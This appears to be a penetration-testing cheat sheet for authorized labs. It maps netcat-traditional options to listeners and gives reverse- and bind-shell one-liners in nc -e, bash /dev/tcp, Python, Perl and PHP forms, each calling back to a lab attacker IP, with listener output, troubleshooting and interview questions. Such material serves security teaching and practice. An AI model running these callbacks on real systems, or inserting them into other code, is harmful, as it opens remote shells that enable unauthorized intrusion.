| Tested on | Kali GNU/Linux Rolling 2026.2 (kali-rolling) |
|---|---|
| Package | netcat-traditional 1.10-50.1 (nc)bash 5.3.9python3 3.13.12perl 5.40.1php 8.4.23 |
| Applies to | Kali Linux |
| Privilege | Normal user on Kali for listeners; code execution on the victim host for callbacks |
| Man page | nc(1) (netcat-traditional) |
| Scope | Netcat listeners and reverse-shell one-liners (bash, Python, Perl, PHP), bind shells, and reading listener output in an authorized lab. Does not cover Metasploit staged payloads, msfvenom encoders, or persistence. |
A reverse shell connects from a compromised host back to your listener. A bind shell opens a port on the victim and waits for you to connect. This cheat sheet maps netcat-traditional options from nc(1) to lab listeners and one-liner callbacks used in ethical hacking practice.
Set your listener address once on Kali (host-only eth1 in the standard lab):
export LHOST=192.168.56.115
export LPORT=5555Reverse shell — quick reference
Options below match nc -h and nc(1) on Kali (netcat-traditional 1.10-50.1). netcat-openbsd on some distros omits -e and -c — use bash /dev/tcp or Python callbacks there.
Connect (client mode)
Outbound TCP or UDP to a host and port.
| When to use | Command |
|---|---|
| TCP connect to a listener | nc HOST PORT |
| Verbose connect (shows open/refused) | nc -v HOST PORT |
| Skip DNS lookups | nc -n -v HOST PORT |
| UDP connect | nc -u -v HOST PORT |
| Bind local source address | nc -s LOCAL_IP -v HOST PORT |
| Randomize local and remote ports | nc -r -v HOST PORT |
Listen (server mode)
Inbound connections on a local port (-l requires -p).
| When to use | Command |
|---|---|
| TCP listener on lab port | nc -l -p PORT -v |
| Listener without DNS delay | nc -l -p PORT -n -v |
Execute program after connect (-e) |
nc -l -p PORT -e /bin/bash -v |
Run shell command after connect (-c) |
nc -l -p PORT -c 'id' -v |
Keep listening after client disconnect (-k) |
nc -l -p PORT -k -v |
| UDP listener | nc -l -u -p PORT -v |
| Allow UDP broadcasts | nc -l -u -b -p PORT -v |
Port scan and probe (-z)
Zero-I/O mode reports port state without sending application data.
| When to use | Command |
|---|---|
| Probe one TCP port | nc -z -v HOST PORT |
| Scan a port range | nc -z -v HOST PORT_START-PORT_END |
| UDP port probe | nc -z -u -v HOST PORT |
Timeouts and pacing (-w, -q, -i)
| When to use | Command |
|---|---|
| Connect/read timeout (seconds) | nc -w SECS -v HOST PORT |
| Quit after EOF on stdin plus delay | nc -q SECS HOST PORT |
| Quit after EOF, wait forever on network | nc -q -1 HOST PORT |
| Delay between lines or scan steps | nc -i SECS -v HOST PORT |
Logging and verbosity (-o, -v, -n)
| When to use | Command |
|---|---|
| Hex dump traffic to a file | nc -l -p PORT -o /tmp/capture.hex -v |
Extra verbose (use -v twice) |
nc -vv HOST PORT |
| Numeric IPs only (no DNS) | nc -n HOST PORT |
Routing, TTY, and line endings (-s, -g, -G, -t, -C, -T)
| When to use | Command |
|---|---|
| Source-routing hop (up to 8) | nc -g GATEWAY HOST PORT |
| Source-routing pointer (4, 8, 12…) | nc -G NUM -g GATEWAY HOST PORT |
| Answer TELNET negotiation | nc -t HOST PORT |
| Send CRLF line endings | nc -C HOST PORT |
| Set IP TOS (Minimize-Delay, etc.) | nc -T Minimize-Delay HOST PORT |
Netcat reverse shell (-e on victim)
| When to use | Command |
|---|---|
| Linux callback with bash | nc LHOST LPORT -e /bin/bash |
| Windows callback with cmd | nc LHOST LPORT -e cmd.exe |
Bash /dev/tcp reverse shell
| When to use | Command |
|---|---|
Bash on victim, no nc required |
bash -i >& /dev/tcp/LHOST/LPORT 0>&1 |
One-shot from bash -c |
bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' |
Python, Perl, and PHP callbacks
| When to use | Command |
|---|---|
| Python 3 on victim | python3 -c 'import socket,subprocess,os;...' (see examples) |
| Perl on victim | perl -e 'use Socket;...' (see examples) |
| PHP CLI on victim | php -r '$sock=fsockopen("LHOST",LPORT);exec("/bin/sh -i <&3 >&3 2>&3");' |
Bind shell pattern
| When to use | Command |
|---|---|
| Victim listens; attacker connects | Victim: nc -l -p PORT -e /bin/bash — Attacker: nc VICTIM_IP PORT |
Reverse shell — command syntax
Synopsis from nc -h on Kali:
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]Options from nc(1) (netcat-traditional):
| Flag | Purpose |
|---|---|
-c string |
Run /bin/sh -c string after connect (dangerous) |
-e filename |
Exec program after connect (dangerous) |
-g gateway |
Source-routing hop point, up to 8 hops |
-G num |
Source-routing pointer (4, 8, 12, …) |
-h |
Print help |
-i secs |
Delay between lines sent or ports scanned |
-k |
Keep listening after client disconnect (listen mode) |
-l |
Listen for inbound connections |
-n |
Numeric-only addresses, no DNS |
-o file |
Hex dump of traffic to file |
-p port |
Local port (listen mode or local bind) |
-q secs |
After EOF on stdin, wait secs then quit (-1 = forever) |
-b |
Allow UDP broadcasts (with -u) |
-r |
Randomize local and remote ports |
-s addr |
Local source address |
-t |
Answer TELNET negotiation |
-u |
UDP mode |
-v |
Verbose (twice for more detail) |
-w secs |
Timeout for connect and final network reads |
-C |
Send CRLF as line-ending |
-z |
Zero-I/O mode (port scanning) |
-T type |
Set TOS: Minimize-Delay, Maximize-Throughput, Maximize-Reliability, Minimize-Cost |
Port arguments can be single ports or inclusive ranges lo-hi. Hyphens in service names from /etc/services must be escaped (for example ftp\-data).
Callbacks use whatever interpreter the victim already has (bash, python3, php, perl). Your Kali listener only needs an open TCP port unless you exercise UDP or scan flags above.
Reverse shell — command examples
Essential Start a Netcat TCP listener
Open a listener on Kali before any reverse-shell one-liner runs on the victim. Success prints listening on [any] PORT ... and later connect to [...] when the callback arrives.
nc -l -p "$LPORT" -vlistening on [any] 5555 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 42514Leave this terminal open while you trigger callbacks from the victim or a second shell on Kali.
Essential Listen without DNS lookups
Use -n when you want numeric addresses only and want to skip resolver delays on a lab LAN.
nc -l -p 5999 -n -vIn a second shell, send test traffic:
echo test | nc -n -v 127.0.0.1 5999listening on [any] 5999 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 39766
testThe (UNKNOWN) host label is normal when -n disables reverse DNS on the listener side.
Essential Netcat reverse shell with -e
When the victim ships netcat-traditional (or any nc with -e), the victim connects back and attaches a program to the socket.
Start the listener on Kali:
nc -l -p "$LPORT" -vOn the victim (or loopback on Kali for practice):
nc "$LHOST" "$LPORT" -e /bin/bashThe listener prints a connect to [...] line, then a shell prompt. Job-control warnings such as cannot set terminal process group are common on non-TTY callbacks.
Essential Bash reverse shell without Netcat
Bash opens TCP through /dev/tcp when nc is missing or lacks -e.
Listener on Kali:
nc -l -p 6666 -vOn the victim:
LHOST=192.168.56.115 LPORT=6666 bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1listening on [any] 6666 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 33410
bash: cannot set terminal process group (5214): Inappropriate ioctl for device
bash: no job control in this shellConnection refused means no listener or a wrong LHOST/LPORT pair.
Common Confirm bash path before callbacks
One-liners often hard-code /bin/bash. Some images use /usr/bin/bash.
On the victim:
which bash/usr/bin/bashSwap the path inside nc -e, Python subprocess.call, Perl exec, or PHP exec when which shows a non-default location.
Common Python 3 reverse shell one-liner
Python is common on Linux servers. This pattern duplicates socket dup2 plus an interactive bash.
Listener on Kali:
nc -l -p 4444 -vVictim one-liner (replace IP and port):
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("192.168.56.115",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'If the socket connects but the shell exits immediately, fix the bash path from which bash on the victim.
Common Perl reverse shell one-liner
Use Perl when Python is absent but perl remains on the target.
Listener:
nc -l -p 7777 -vVictim:
perl -e 'use Socket;$i="192.168.56.115";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'A successful callback shows the same connect to [...] line on the listener as other one-liners.
Common PHP reverse shell one-liner
PHP CLI callbacks appear in web post-exploitation labs when php is installed.
Listener:
nc -l -p 8888 -vVictim:
php -r '$sock=fsockopen("192.168.56.115",8888);exec("/bin/sh -i <&3 >&3 2>&3");'For web-only shells, upload a small PHP file when command length limits block long -r strings.
Common Probe a TCP port with -z
Zero-I/O mode checks whether a port accepts TCP without sending shell traffic — useful before bind-shell or service checks.
nc -z -v 127.0.0.1 22localhost [127.0.0.1] 22 (ssh) openClosed ports report Connection refused or (ssh) failed depending on verbose output.
Common Set connect timeout with -w
-w limits how long nc waits on connect and final reads — helpful when a firewall blackholes traffic.
Start a short-lived listener:
nc -l -p 5997 -w 3 -vConnect with a two-second timeout:
nc -w 2 -v 127.0.0.1 5997localhost [127.0.0.1] 5997 (?) openHung or filtered hosts stop waiting after SECS instead of blocking indefinitely.
Common Log traffic with -o hex dump
-o writes a hex dump of every byte — useful when you need proof of callback bytes in a lab report.
nc -l -p 5988 -o /tmp/nc-traffic.hex -vIn another shell:
printf 'hello\n' | nc 127.0.0.1 5988Sample dump file:
< 00000000 68 65 6c 6c 6f 0a # hello.The < prefix marks bytes read from the network side of the connection.
Advanced Netcat bind shell on the victim
A bind shell listens on the victim. You connect from Kali instead of waiting for egress.
On the victim:
nc -l -p 9999 -e /bin/bash -vFrom Kali:
echo id | nc 192.168.56.114 9999uid=0(root) gid=0(root) groups=0(root)Bind shells fail when host firewalls block inbound high ports — reverse shells are usually easier on modern networks.
Advanced Run a command with -c after connect
-c passes a string to /bin/sh -c after connect — lighter than -e when you only need one command.
nc -l -p 5970 -c 'id' -vClient:
nc -v 127.0.0.1 5970listening on [any] 5970 ...
localhost [127.0.0.1] 5970 (?) open
connect to [127.0.0.1] from localhost [127.0.0.1] 51848
uid=0(root) gid=0(root) groups=0(root)For full shells, prefer -e /bin/bash or interpreter one-liners instead of -c.
Advanced Close after stdin EOF with -q
-q waits after stdin EOF before quitting — useful for scripted sends that should disconnect cleanly.
nc -l -p 5996 -q 1 -vSend one line from another shell:
echo done | nc 127.0.0.1 5996The client exits after EOF; the listener closes about one second later when -q 1 elapses. Use -q -1 to keep the network side open until the remote peer closes.
Advanced UDP connect with -u
UDP mode uses -u for datagram sockets — different from default TCP reverse shells.
nc -u -v 127.0.0.1 53localhost [127.0.0.1] 53 (domain) openUDP listeners use nc -l -u -p PORT. Add -b when you need broadcast reception. Most reverse-shell labs use TCP; UDP is mainly for service checks and debugging.
Advanced Keep listening with -k
-k tells the listener to accept another connection after the first client disconnects (traditional netcat only).
nc -l -p 5980 -k -vFirst client:
nc -v 127.0.0.1 5980After the first session ends, connect again with the same client command. If the second attempt shows Connection refused, the listener process may have exited — restart it or verify your netcat build supports -k.
Reverse shell — when to use / when not
| Use these one-liners when | Use something else when |
|---|---|
| You need a quick lab callback after command execution on Metasploitable 2 | You need staged Meterpreter — Metasploit tutorial |
| The victim has bash, python3, php, or perl but no full toolkit | You need encrypted C2 — dedicated frameworks or TLS-wrapped payloads |
| You are documenting manual post-exploitation steps in a report | You need web-only delivery — file upload or WordPress reverse shell |
netcat-traditional with -e or -c is on the victim |
Victim has openbsd nc only — use bash /dev/tcp or Python instead |
Reverse shell vs bind shell
| Reverse shell | Bind shell | |
|---|---|---|
| Connection direction | Victim → attacker listener | Attacker → victim listener |
| Firewall friendliness | Outbound often allowed | Inbound to victim often blocked |
| Attacker setup | nc -l -p PORT on Kali |
Victim runs nc -l; attacker connects |
| Typical lab use | Default after RCE on internal host | Legacy services or firewall demos |
Both give command execution; reverse shells match most egress-filtered networks.
Reverse shell — interview corner
What is a reverse shell?
A reverse shell is a command shell that connects from the compromised host back to the attacker. The attacker runs a listener (for example nc -l -p 4444). The victim executes a one-liner that opens a TCP socket to the attacker and attaches stdin/stdout/stderr to /bin/bash or cmd.exe.
A strong answer is:
"The victim initiates TCP to my listener; I get a shell session without opening an inbound port on their firewall."
What is the difference between a reverse shell and a bind shell?
A reverse shell calls the attacker. A bind shell listens on the victim for the attacker to connect. Reverse shells work better when inbound connections to random high ports are blocked.
A strong answer is:
"Reverse: victim connects out. Bind: victim listens. I default to reverse on modern networks."
Why does my bash reverse shell say Connection refused?
Connection refused means nothing is listening on LHOST:LPORT — start nc -l -p PORT first, verify LHOST is reachable from the victim, and confirm no host firewall blocks the port. Connection timed out often means a network filter or wrong IP.
A strong answer is:
"Refused = no listener or wrong port. Timeout = routing or firewall. I verify listener, IP, and lab NIC before blaming the one-liner."
Why does nc -e fail on some Linux systems?
Debian and Ubuntu often ship netcat-openbsd, which does not support -e. Kali’s netcat-traditional supports -e and -c. When -e is missing, use bash -i >& /dev/tcp/HOST/PORT or a Python one-liner instead.
A strong answer is:
"I check which nc package is installed — openbsd nc has no -e; I fall back to bash /dev/tcp or Python."
How do you improve a dumb reverse shell?
Raw callbacks lack history, tab completion, and clean Ctrl-C handling. Wrap the listener with rlwrap nc -l -p PORT -v when rlwrap is installed, or upgrade to a Metasploit shell → meterpreter session when the lab allows.
A strong answer is:
"rlwrap on the listener for readline; or migrate to Meterpreter / proper PTY for full TTY — raw nc is proof of execution, not a finished operator shell."
Reverse shell troubleshooting
| Symptom | Likely cause | Fix |
|---|---|---|
Connection refused on victim |
Listener not running or wrong port | Start nc -l -p "$LPORT" -v on Kali; match LPORT |
Connection timed out |
Wrong LHOST, routing, or firewall |
Use host-only IP (eth1); ping Kali from victim |
| Listener connects, shell exits instantly | Wrong shell path | which bash; fix path in one-liner |
nc: invalid option -- 'e' |
openbsd netcat on victim | Use bash /dev/tcp or Python callback |
| Garbled or no echo in shell | No TTY on callback | rlwrap on listener; python3 -c 'import pty;pty.spawn("/bin/bash")' on victim |
| Bind shell works locally only | Firewall blocks inbound to victim | Prefer reverse shell or open lab port in VM network |
-z shows closed but service runs |
Wrong protocol or filtered port | Retry with -u for UDP services; confirm port number |
References
- nc(1) — netcat-traditional (Debian manpages)
- Python socket — programming documentation
- Python subprocess — programming documentation

